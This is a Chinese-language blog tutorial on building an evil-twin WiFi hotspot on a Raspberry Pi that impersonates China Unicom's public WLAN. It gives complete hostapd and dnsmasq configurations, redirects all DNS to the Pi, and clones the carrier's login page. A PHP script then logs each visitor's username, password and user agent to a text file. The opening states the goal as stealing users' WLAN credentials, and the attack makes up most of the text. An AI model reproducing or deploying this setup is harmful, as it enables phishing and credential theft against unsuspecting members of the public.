前段时间有一则新闻说使用一台普通电脑搭建的wifi热点就可以窃取使用者的网银和支付宝等密码。但是稍微有点常识的人都会知道:支付相关的网站和部分网站的登陆页面都使用了https连接,所以破解这种加密就不要指望了。不过我们可以换一下思路,比如伪造一个联通WLAN的登陆页面,然后窃取使用者的WLAN号码和密码。
环境配置
需要用到的硬件:
- 树莓派一台
- USB无线网卡一个
需要用到的软件
- apache2
- php5
- hostapd
- dnsmasq
首先安装上述的软件
sudo apt-get install apache2 php5 hostapd dnsmasq
如果你觉得Apache对于Pi来说负担太重的话,可以换成nginx,具体操作请看这里。
对于hostapd,如果你的网卡不在支持范围内,你可能需要首先安装驱动或自己编译安装hostapd
查看usb设备列表
lsusb
可以看出我使用的网卡芯片是RTL8188CUS。但是官方提供的程序不兼容RTL8188CUS芯片的无线网卡,不过Edimax团队为我们专门编译了兼容的版本,下面的操作需要替换hostapd为兼容版本。
替换的命令如下:
wget http://www.daveconroy.com/wp3/wp-content/uploads/2013/07/hostapd.zip
unzip hostapd.zip
sudo mv /usr/sbin/hostapd /usr/sbin/hostapd.bak
sudo mv hostapd /usr/sbin/hostapd.edimax
sudo ln -sf /usr/sbin/hostapd.edimax /usr/sbin/hostapd
sudo chown root.root /usr/sbin/hostapd
sudo chmod 755 /usr/sbin/hostapd
编辑配置文件
- Hostapd
sudo nano /etc/hostapd/hostapd.conf
interface=wlan0--设置网卡
driver=rtl871xdrv--设置驱动
bridge=br0--忘了什么意思了==
ssid=ChinaUnicom
channel=11--信道设置
wmm_enabled=0--禁用802.11n
auth_algs=1--设置为开放无线网络
- dnsmasq,实现DHCP服务器并将终端发来的所有http请求重定向到rpi本地的服务器上
sudo nano /etc/dnsmasq.conf
interface=wlan0--设置网卡
bind-interfaces--设置为只使用上面设置的网卡
dhcp-range=192.168.188.2,192.168.188.254,12h--设置DHCP服务器的ip地址范围及租期
dhcp-option=1,255.255.255.0
dhcp-option=3,192.168.188.1
dhcp-option=6,192.168.188.1
address=/#/192.168.188.1 --将所有的域名解析到192.168.188.1(也就是RPi的ip上)测试WLAN热点
测试WLAN热点
sudo ifconfig wlan0 192.168.188.1 netmask 255.255.255.0
sudo hostapd -B /etc/hostapd/hostapd.conf
sudo service dnsmasq start
这时应该可以搜索到一个名为China Unicom的WiFi,连接上后随便输入一个url,会显示如下的网页,也就是apache的默认页面:
仿造登陆页面
WLAN热点到这里就建设完成了,然后我们需要仿造联通WLAN的登陆页面
这里是一个真的登陆页面http://119.6.17.129:8080/
我们需要把网站上面用到的css和js等脚本下载下来
我使用的是比较笨的办法,也就是在html源码中找到css和js的url,然后wget下载下来
然后就可以得到这么几个东西:
pi@raspberrypi ~ $ find /var/www/ -type f
/var/www/dwr/engine.js
/var/www/dwr/CopartnerList.js
/var/www/dwr/util.js
/var/www/index.html
/var/www/d.txt
/var/www/includes/web/js/jquery.min.js
/var/www/includes/web/js/jquery.orangeui.min.js
/var/www/includes/web/js/base.js
/var/www/includes/web/js/tinybox.js
/var/www/includes/web/css/layout.css
/var/www/includes/web/css/reset.css
/var/www/includes/web/css/add.css
/var/www/includes/web/css/base.css
/var/www/includes/web/images/btn.png
/var/www/includes/web/images/img_logon.png
/var/www/includes/web/images/guanggao1.png
/var/www/includes/javascript/common.js
接下来把首页的html代码粘贴保存下来,
找到这一行:
<form action="http://119.6.17.129:8080/login.do" method="post" name="loginForm" id="loginForm">
这一行定义了表单的提交方式及动作,改为:
<form action="http://119.6.17.129:8080/login.php" method="post" name="loginForm" id="loginForm">
将action改为服务器上的一个php文件,从html提交的表单将交由这个php文件来处理
然后找到这一行:
<input type=button value="登 录" onclick="return checkLoginInfo();"/>
这一行定义了按钮的动作,改为:
<input type="submit" value="登 录" />
然后新建一个login.php,写入:
<?php
error_reporting(E_ALL);
echo $_POST["username"];
echo "<br>";
echo $_POST["password"];$Handle=fopen('d.txt',"a"); //打开文件
fwrite($Handle,$_SERVER["HTTP_USER_AGENT"]); //写入终端浏览器UA
fwrite($Handle,"\n");//换行
fwrite($Handle,$_POST["username"]);//写入用户输入的用户名
fwrite($Handle,"\n");
fwrite($Handle,$_POST["password"]);//写入密码
fwrite($Handle,"\n");
fwrite($Handle,"==================");
fwrite($Handle,"\n");
fclose($Handle);//关闭文件
header("Location:http://192.168.188.1/index.html");//跳转至首页
exit;
?>
然后将网站目录放进/var/www/,打开浏览器测试
整体测试
正常情况下,你的浏览器UA,输入的用户名及密码将被记录到/var/www/d.txt中。
(如果没有的话,自己新建一个,然后将它chown 到www-data用户
sudo chown www-data:www-data /var/www/d.txt
完成
不过要注意的是
- 树莓派的电源问题一直是个老大难,如果你发现RPi的USB或有线网络不工作,或者PWR灯忽亮忽暗,首先检查是否使用了足够功率的电源(5v 1a都不一定够)
- 让别人接入你的无线网络对你来说也是很危险的事情,确保你更改了默认的账户密码,不然别人就可以畅通无阻地通过ssh连接并控制你的RPi,黑人不成反被人黑就神作了。
一些细节问题
- 用户在连接到你的AP的时候,地址栏里可能是一个网页的url而不仅仅是域名(如:www.xxx.com/xxx.html)这样的话,RPi上的apache就会返回一个404页面。
解决方法是使用apache的.htaccess文件进行重写,将404页面定义为一个自定义页面。具体操作方法网上一搜一大堆,这里不再赘述。 - 今天测试了一下在将全套装置带出去的时候使用android手机进行ssh远程控制的情况。当我连上ssh(用的connectbot)之后试着编辑一个文件,结果发现nano编辑器竟然用!不!了!–因为android键盘上没有方向键,而且otg键盘罕见地不起作用…浴室我就只能苦逼地用对我来说熟练度几乎为0的vi…所以,如果你打算带着它出去作死,请确保安装了vnc,因为android上的ssh client体验不是一般的差。
- 还有就是RPi一直被人诟病的一点就是—-电源。虽然RPi标称的是输入5v 700ma,但是在我的测试过程中,在插入无线网卡的情况下,如果只使用5v 1a的电源,很可能出现usb接口和有线网口都不工作的情况。如果出现这样的情况,那么你可能需要一个更大的电源适配器或者有源hub。最后我采用了这样的方案:使用一个没有隔离的有源hub从usb接口对RPi反向供电(注意:这会使板上的所有保护电路失效,如果有条件,强烈不建议这样做!),同时将一个5v 1a的移动电源(实际输出可能不到)接在microusb 接口上。(因为我的hub质量很差,轻轻一碰可能就掉电了)
- 最推荐的供电方案是:使用5v 2a的电源接在microusb上为RPi供电,同时使用一个带隔离的有源hub对外接usb设备供电。
发表回复/Leave a Reply